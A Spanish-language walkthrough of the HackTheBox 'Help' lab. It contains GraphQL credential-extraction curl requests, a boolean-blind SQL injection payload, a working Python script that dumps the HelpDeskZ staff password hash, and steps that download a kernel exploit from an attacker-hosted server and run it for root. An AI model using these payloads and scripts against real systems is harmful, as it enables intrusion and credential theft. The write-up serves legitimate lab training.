Skip to main content

Help – HackTheBox

Dificultad: Easy
Sistema operativo: Linux

Help_Intro

⚠️ Contenido educativo.

💡 Pistas

  1. Hay dos webs, en 80 y en 3000, hay que explotar las 2.
  2. Mirar los headers.
  3. Mirar bien las versiones de los servicios corriendo, hay SQLi.
  4. Mucho ojo con la versión del kernel una vez dentro.

🔍 Enumeración inicial

1. Escaneo completo (todos los puertos TCP)

sudo nmap -p- -T5 <IP>

Resultado relevante:

  • 22/tcp
  • 80/tcp
  • 3000/tcp

Help_FullScan

2. Escaneo focalizado (scripts y versiones)

sudo nmap -p 22,80,3000 -sC -sV <IP>

Resumen:

  • 22/tcp OpenSSH 7.2p2 Ubuntu 4ubuntu2.6
  • 80/tcp Apache httpd 2.4.18 (Ubuntu)
  • 3000/tcp Node.js Express framework (responde JSON; sin título)

Help_ServiceScan

Nota: En el primer barrido Nmap etiquetó 3000 como “ppp” (fingerprint incompleto). Con -sV se corrige a Express.

3. Enumeración web

Accedemos a http://help.htb y solo muestra la página por defecto de Apache (sin contenido propio). Indica que probablemente el VirtualHost principal no está configurado o hay contenidos en rutas secundarias.

Apache default

Lanzamos fuerza bruta de directorios:

gobuster dir -u http://help.htb -w <wordlist>

Resultados relevantes:

  • /support (301) → portal HelpDeskZ
  • /javascript (301)
  • /server-status (403) (mod_status habilitado pero restringido)

Gobuster

Al entrar en /support vemos el portal HelpDeskZ (formulario de login + knowledgebase).

HelpDeskZ portal

4. Identificación de versión de HelpDeskZ

Obtenemos la versión accediendo directamente a /support/readme.html (archivo README distribuido con la aplicación).

HelpDeskZ 1.0.2

La versión 1.0.2 de HelpDeskZ está asociada en fuentes públicas a varias vulnerabilidades (ej. subida arbitraria de archivos no autenticada, SQLi autenticada con exfiltración de datos...), lo que potencialmente permitiría obtener ejecución remota encadenando los vectores.

Notas rápidas:

  • Necesitamos credenciales antes de intentar exploits que requieran autenticación (posible SQLi autenticada, descargas de adjuntos, etc.).
  • Continuamos enumerando para obtener un correo/usuario o algún leak.

5. Enumeración del servicio en 3000

Pasamos al puerto 3000 buscando credenciales. Al acceder obtenemos una respuesta JSON con un mensaje orientativo:

Mensaje JSON

Revisando los headers vemos “X-Powered-By: Express”:

Header Express

Observaciones:

  • API minimalista que devuelve un mensaje dirigido a “Shiv” indicando encontrar credenciales mediante una “query”.
  • El wording sugiere que podría existir un endpoint de consulta (posible /graphql, /api/query, parámetros ?q=, etc.).
  • Próximo paso: fuzz de rutas y parámetros para localizar punto de extracción de credenciales.

Accioness:

# Buscar si existe endpoint GraphQL
curl -i http://help.htb:3000/graphql
# Si responde 200/400, intentar introspección
curl -s -X POST http://help.htb:3000/graphql \
-H 'Content-Type: application/json' \
-d '{"query":"query IntrospectionQuery { __schema { types { name } } }"}'

5.2 Enumeración GraphQL para extraer credenciales

  1. Introspección de tipos:
curl -s -X POST http://help.htb:3000/graphql \
-H 'Content-Type: application/json' \
-d '{"query":"{ __schema { types { name } } }"}'

Tipo User

  1. Campos del tipo User:
curl -s -X POST http://help.htb:3000/graphql \
-H 'Content-Type: application/json' \
-d '{"query":"query { __type(name: \"User\") { name fields { name type { name kind ofType { name kind } } } } }"}'

Campos username/password

  1. Contenido (usuario y password):
curl -s -X POST http://help.htb:3000/graphql \
-H 'Content-Type: application/json' \
-d '{"query":"{ user { username password } }"}'

Credenciales extraídas

5.3 Crack del hash y login en HelpDeskZ

La query GraphQL devolvió el campo password en formato hash (MD5). Procedimos a crackearlo:

Crack MD5

Con la contraseña en texto claro probamos el acceso en /support usando el correo obtenido:

Formulario login

Autenticación correcta, accedemos al dashboard del usuario:

Dashboard

(Próximo paso: explotar vulnerabilidades autenticadas de HelpDeskZ v1.0.2.)

6. SQL Injection autenticada (Exploit-DB 41200)

La versión 1.0.2 (y anteriores) documentada en Exploit-DB (ID 41200) presenta una SQL Injection autenticada que permite extraer información sensible (usuarios, hashes) y descargar adjuntos sin autorización.

Tipo de SQLi:

  • Es una inyección autenticada de tipo boolean‑based blind (condicional).
  • El parámetro vulnerable (en un campo de búsqueda/listado dentro del panel autenticado) permite introducir una condición SQL que altera la respuesta (p.ej. número de resultados o contenido mostrado).
  • No se devuelven directamente errores con detalles de la base de datos, así que no es un error-based clásico; la exfiltración se hace caracter a caracter evaluando TRUE/FALSE.
  • Puede combinarse con técnicas de substrings (SUBSTRING, ASCII) para reconstruir hashes de contraseña u otros campos.

Flujo típico de explotación:

  1. Autenticarse con las credenciales obtenidas.
  2. Localizar el parámetro de búsqueda / filtro.
  3. Enviar payloads booleanos (ej: ' OR (ascii(substring((SELECT password FROM staff LIMIT 1),1,1))>77) -- ).
  4. Automatizar para iterar posiciones y caracteres hasta recuperar el hash completo.
  5. Crackear el hash (ya mostrado antes) o reutilizarlo si hay reutilización de credenciales en otros servicios.

Esto encadena con la potencial subida

6.1 Script usado para la extracción (Boolean Blind SQLi)

Usamos un script simple en Python3 que automatiza la extracción carácter a carácter del hash del staff (tabla staff). Debes AJUSTAR antes de ejecutar:

Script:

#!/usr/bin/python3
import requests
import string

# Cookies de sesión (ACTUALIZA con las tuyas)
cookies = {
'lang': 'english',
'PHPSESSID': '<TU_PHPSESSID',
'usrhash': '<TU USRHASH>'
}

# URL base
base_url = 'http://help.htb/support/?v='

# Charset (para MD5 podrías usar: chars = '0123456789abcdef')
chars = list(string.ascii_lowercase) + list(string.digits)

password = []
max_len = 40
position = 1

while position <= max_len:
for c in chars:
payload = (
f"{base_url}view_tickets&action=ticket&param[]=5&param[]=attachment&param[]=1" # Es posible que tus parametros sean diferentes (4,1,6)
f"&param[]=7 AND substr((SELECT password FROM staff LIMIT 0,1),{position},1)='{c}'-- -"
)
resp = requests.get(payload, cookies=cookies, timeout=10)

# TRUE si NO aparece 404
if b'404' not in resp.content:
password.append(c)
print(f"[+] Carácter correcto en posición {position}: {c}")
print("Password parcial:", ''.join(password))
position += 1
break
else:
# No se encontró carácter en esta posición: fin
print(f"[+] Fin en posición {position} (no más coincidencias).")
break

print("Password completa:", ''.join(password))

6.2 Ejecución del script (ajustar cookies) y obtención del hash

Antes de lanzarlo editamos el script y sustituimos:

  • PHPSESSID y usrhash por los de nuestra sesión autenticada (sin esto devuelve 302 / login).
  • Los IDs (ticket_id / attachment_id / msg_id) en la parte de param[] para que apunten a un ticket y adjunto reales (creamos uno nuevo si hace falta subiendo una imagen).

Ejecutamos el script y va devolviendo cada carácter válido hasta reconstruir la cadena completa. El resultado final es una cadena hex de 40 caracteres (indicativo de SHA1):

Hash devuelto por el exploit

6.3 Cracking del hash

Como parece que esta encriptada lo enviamos a CrackStation para intentar obtener la contraseña en claro. El servicio lo resuelve inmediatamente:

CrackStation (hash → texto plano)

Ya tenemos la contraseña en texto plano lista para el siguiente paso.

7. Acceso SSH y user.txt

Con la contraseña en claro probamos acceso SSH. Tuvimos que jugar un poco con los posibles nombres (shiv, helpdesk, support, help) hasta que el usuario correcto resultó ser help (coincide con el hostname y el contexto de la máquina).

SSH login

Una vez dentro leemos la flag de usuario:

Lectura user.txt

8. Escalada de privilegios

Ejecutamos uname -a para identificar versión exacta del kernel. Este comando muestra: nombre del kernel, hostname, versión/release, fecha de compilación y arquitectura; sirve para mapear vulnerabilidades locales conocidas.

uname -a

La versión 4.4.0-116-generic (Ubuntu 16.04) está asociada al CVE-2017-16995 (bug en el verificador eBPF que permite escalada de privilegios).

En el host atacante confirmamos exploit disponible (Exploit-DB 44298):

Transferimos o copiamos el código y lo guardamos en la máquina comprometida como exploitkernel.c, luego compilamos:

gcc exploitkernel.c -o exploit

8.1 Transferencia del binario al objetivo

Montamos un servidor HTTP simple en nuestra máquina atacante dentro del directorio donde está el binario (o lo compilamos allí):

python3 -m http.server 8000

Servidor Python

En la máquina víctima descargamos el exploit con wget (sustituir TU_IP_VPN):

wget http://TU_IP_VPN:8000/exploit

Descarga con wget

8.2 Ejecución del exploit y root.txt

Damos permisos y ejecutamos el binario para obtener shell root:

chmod +x exploit
./exploit
id
cat /root/root.txt

Shell root y flag

Reto completado:

Máquina Pwned